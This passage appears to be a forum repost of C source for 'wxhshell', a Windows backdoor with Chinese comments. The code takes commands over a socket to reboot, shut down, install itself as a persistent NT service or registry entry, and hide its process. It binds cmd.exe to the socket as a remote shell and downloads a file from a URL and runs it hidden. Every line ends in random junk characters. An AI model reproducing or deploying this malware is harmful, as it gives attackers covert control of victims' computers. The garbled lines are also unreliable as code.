      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  9F/|`  
    break; 5ZZd.9ZgM  
  } g2!0vB>  
  // 安装 fYv ;TV>73  
  case 'i': { v4X_v!CQ  
    if(Install()) 1w(<0Be  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [))gn  
    else A!n~8zcmp}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lF)0aDk'h  
    break; N=hSqw[  
    } 1{= E ?  
  // 卸载 N+ak[axN  
  case 'r': { Vj#%B.#Zbf  
    if(Uninstall()) ~:R4))qpg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qf/j:  
    else ]Fb8.q5(Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =]8f"wAh*  
    break; ajf_)G5X P  
    } K'>P!R:El  
  // 显示 wxhshell 所在路径 4da ^d9ZOy  
  case 'p': { bEBZ!ghU  
    char svExeFile[MAX_PATH]; >1_Dk7E0D  
    strcpy(svExeFile,"\n\r"); 1uK)1%vK  
      strcat(svExeFile,ExeFile); clij|?O  
        send(wsh,svExeFile,strlen(svExeFile),0); _:oMyK'  
    break; =>E44v  
    } :YkDn~@  
  // 重启 !NlB%cF  
  case 'b': { 5%vP~vy_}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O~7p^i}  
    if(Boot(REBOOT)) (!^N~ =e;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wWp?HDl"M  
    else { Fj[ dO&  
    closesocket(wsh); a,en8+r ]  
    ExitThread(0); s?1-$|*  
    } 2b{@]Fp  
    break; bQ${8ZO  
    } AX!Md:s  
  // 关机 gDUoc*+h  
  case 'd': { %3#b6m~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ee__3>H"/  
    if(Boot(SHUTDOWN)) $D0)j(v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _rWTw+ L  
    else { RXCygPT   
    closesocket(wsh); K6 PC&+x  
    ExitThread(0); uC <|T  
    } \oD=X}UQw(  
    break; EX[l0]fj  
    } dUBVp 9PB  
  // 获取shell ,cl"1>lp  
  case 's': { 2=/-d$  
    CmdShell(wsh); ]lG_rGw  
    closesocket(wsh); TLR Lng  
    ExitThread(0); tPMg Z  
    break; 1{Sx V  
  } \Ho#[k=y*/  
  // 退出 }J4BxBuV8  
  case 'x': { =qVAvo'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l.Lc]ZpB  
    CloseIt(wsh); ,sy / r V  
    break; Tk2&{S"  
    } 0Zp<=\!;  
  // 离开 Xj(k(>7V  
  case 'q': { N-_| %C-.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 's%ct}y\J  
    closesocket(wsh); b_"V%<I  
    WSACleanup(); h;mQ%9 Yd  
    exit(1); _^,[wD  
    break; +q>C}9s3  
        } `cy"-CJS  
  } ! a8h  
  } hKH Q!`&v  
:5qqu{GL  
  // 提示信息 .x9nWa  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lj%;d'  
} ]mDsUZf<  
  } N'q/7jOy  
4$#ia F  
  return; :O_<K&  
} e^ K=8IW  
TQyFF/K  
// shell模块句柄 FnU{C=P  
int CmdShell(SOCKET sock) _{@}Fd?o  
{ ,L;c{[*rh  
STARTUPINFO si; ~wQ WWRk  
ZeroMemory(&si,sizeof(si));  Q-3J0=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7dL=E"WL  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;z=C^'  
PROCESS_INFORMATION ProcessInfo; aWi]t'_  
char cmdline[]="cmd"; yW7S }I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); OAQ O J'  
  return 0; laIC}!  
} %nK 15(  
xsypIbN  
// 自身启动模式 H'(o}cn7~  
int StartFromService(void) _}%# Yz  
{ kv FOk  
typedef struct [!|d[  
{ Vu8-Cy>Q?  
  DWORD ExitStatus; k>@^M]%  
  DWORD PebBaseAddress; 3t}o0Ai9  
  DWORD AffinityMask; mf_ 9O  
  DWORD BasePriority; 0 GLB3I >  
  ULONG UniqueProcessId; u\\niCNA  
  ULONG InheritedFromUniqueProcessId; 7|?@\ZE  
}   PROCESS_BASIC_INFORMATION; _TeRsA  
|"(3]f\  
PROCNTQSIP NtQueryInformationProcess; DT~y^h  
-O q=J;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3lEU$)QA3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k*+ZLrT  
Yoym5<xE  
  HANDLE             hProcess; ?z36mj"`o  
  PROCESS_BASIC_INFORMATION pbi; pzp"NKx i  
##\ZuJ^-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }qX&*DU_@  
  if(NULL == hInst ) return 0; 9YsO+7[  
q|_ 5@Ly  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;eSf4_~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wEn&zZjx  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <'yC:HeAwD  
h 7P?n.K  
  if (!NtQueryInformationProcess) return 0; u~Cqdr5 \l  
\.-y LS.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E MbI\=>yS  
  if(!hProcess) return 0; `v+O5  
N= q29JU  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i3!$M/_]  
tTxo:+xg  
  CloseHandle(hProcess); J A2}  
Ji?UG@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -5*;J&.  
if(hProcess==NULL) return 0; 8*){*'bf  
by3kfY]4s  
HMODULE hMod; uy%PTi+A  
char procName[255]; e?fjX-  
unsigned long cbNeeded; ~a|Q[tiV]  
fmyS# 6"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 545xs`Q_  
r_CN/a  
  CloseHandle(hProcess); Ceb i9R[  
@WE$%dr  
if(strstr(procName,"services")) return 1; // 以服务启动 /]>{"sS(  
?Qp_4<(5  
  return 0; // 注册表启动 E8 )*HOT_T  
} VrP%4P+  
akoKx)(<  
// 主模块 <]`2H}*U'  
int StartWxhshell(LPSTR lpCmdLine) mTbPz Z4  
{ :Bc;.%  
  SOCKET wsl; \Vq;j 1  
BOOL val=TRUE; FNO lR>0e  
  int port=0; OH~qJ <  
  struct sockaddr_in door; =l_"M  
?*dx=UI  
  if(wscfg.ws_autoins) Install(); D1/$pA+B  
XV!EjD~q  
port=atoi(lpCmdLine); >U.uRq  
0pz X!f1~  
if(port<=0) port=wscfg.ws_port; OOwJ3I >]>  
p0@mumh  
  WSADATA data; tr+~@]I+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #bH[UId[  
0:S)2"I58p  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7 {<lH%Tn  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E':Z_ ^4  
  door.sin_family = AF_INET; nwVtfsb  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Re>e|$.T  
  door.sin_port = htons(port); Hn.UJ4V  
2J <Z4Ap  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6U]7V  
closesocket(wsl); >{8H==P  
return 1; /y@iaptC  
} zD|W3hL2&  
wxrT(x|  
  if(listen(wsl,2) == INVALID_SOCKET) { aPgG+tu  
closesocket(wsl); aT[7L9Cw  
return 1; @e/dQ:Fb  
} 4v$AM8/o  
  Wxhshell(wsl); 06 1=pV$CJ  
  WSACleanup(); 'Mtu-\  
2e=Hjf )  
return 0; a#=-Aj-  
'z:p8"h}  
} 5#PhaVc  
3dLz=.=)'  
// 以NT服务方式启动 *WG}K?"/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) NST6pu\,U  
{ MN4}y5  
DWORD   status = 0; Y@eUvz  
  DWORD   specificError = 0xfffffff; :SGQ4@BV  
.S;/v--F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; h'+ swPh  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m~A/.t%=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,5 ,4Qf7  
  serviceStatus.dwWin32ExitCode     = 0; E83nEUs  
  serviceStatus.dwServiceSpecificExitCode = 0; :W"ITY(  
  serviceStatus.dwCheckPoint       = 0; $G[##j2  
  serviceStatus.dwWaitHint       = 0; ua-p^X`w  
E%N]t} }[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TPuzL(ws  
  if (hServiceStatusHandle==0) return; 4j5 "{  
QNY{ p k  
status = GetLastError(); 7_,X9^z  
  if (status!=NO_ERROR) oZCO$a  
{ _JS'~ JO3{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5ZLH=8L  
    serviceStatus.dwCheckPoint       = 0; Yc}b&  
    serviceStatus.dwWaitHint       = 0; 1A `u0Y$g  
    serviceStatus.dwWin32ExitCode     = status; V'B 6C#jT  
    serviceStatus.dwServiceSpecificExitCode = specificError; AyDK-8a  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v)06`G  
    return; e [n>U@  
  } [@czvPi  
sXTO`W/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; jiat5  
  serviceStatus.dwCheckPoint       = 0; 9TLP(  
  serviceStatus.dwWaitHint       = 0; Ue7~rPdlR  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); QXCI+Fcg  
} 'E9jv4E$n  
P<1zXs.H  
// 处理NT服务事件,比如:启动、停止 ?`xId;}J#7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) VQyDd~Za  
{ BshS@"8r  
switch(fdwControl) %PpB$  
{ .dV!du  
case SERVICE_CONTROL_STOP: #oaX<,  
  serviceStatus.dwWin32ExitCode = 0; tF 4"28"h  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; uv$y"1'g  
  serviceStatus.dwCheckPoint   = 0; =B\ ?(  
  serviceStatus.dwWaitHint     = 0; 01J.XfCd6  
  { H5n" !!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BmZd,}{  
  } fqi5 84  
  return; >.A{=?   
case SERVICE_CONTROL_PAUSE: J<2N~$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F n\)*; ^  
  break; 8r5j~Df  
case SERVICE_CONTROL_CONTINUE: %}@^[E)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "2)T=vHi#  
  break; x|Dj   
case SERVICE_CONTROL_INTERROGATE: U;_ ;_  
  break; 7Y-GbG.'  
}; WVVqH_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J;qHw[6  
} Wl1%BN0>  
u+*CpKR}  
// 标准应用程序主函数 &{>~ |^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) SpkD  
{ !cfn%+0  
pJqayzV  
// 获取操作系统版本 R +k\)_F  
OsIsNt=GetOsVer(); (+_Amw!W  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >y1/*)O9~  
f@ySTz;u  
  // 从命令行安装 %FwLFo^v  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?wmr~j  
T =:^k+  
  // 下载执行文件 P/27+5(|  
if(wscfg.ws_downexe) { " `lRX  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9%4rO\q  
  WinExec(wscfg.ws_filenam,SW_HIDE); ydpsPU?wj5  
} .; :[sv)  
)UWE.o BI  
if(!OsIsNt) { ^CX~>j\(  
// 如果时win9x,隐藏进程并且设置为注册表启动 h4V.$e<T&  
HideProc(); $v+g3+7  
StartWxhshell(lpCmdLine); !dZHG R  
} Qq5)|m  
else Zcc6E2  
  if(StartFromService()) *'Ch(c:rtH  
  // 以服务方式启动 %hY+%^k.  
  StartServiceCtrlDispatcher(DispatchTable); mWtwp-  
else MLUq"f~N  
  // 普通方式启动 hF6EOCY6D  
  StartWxhshell(lpCmdLine); klPc l[.w  
/QTGZ b  
return 0; .Emw;+>  
}
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只看该作者 1 发表于: 2006-10-10
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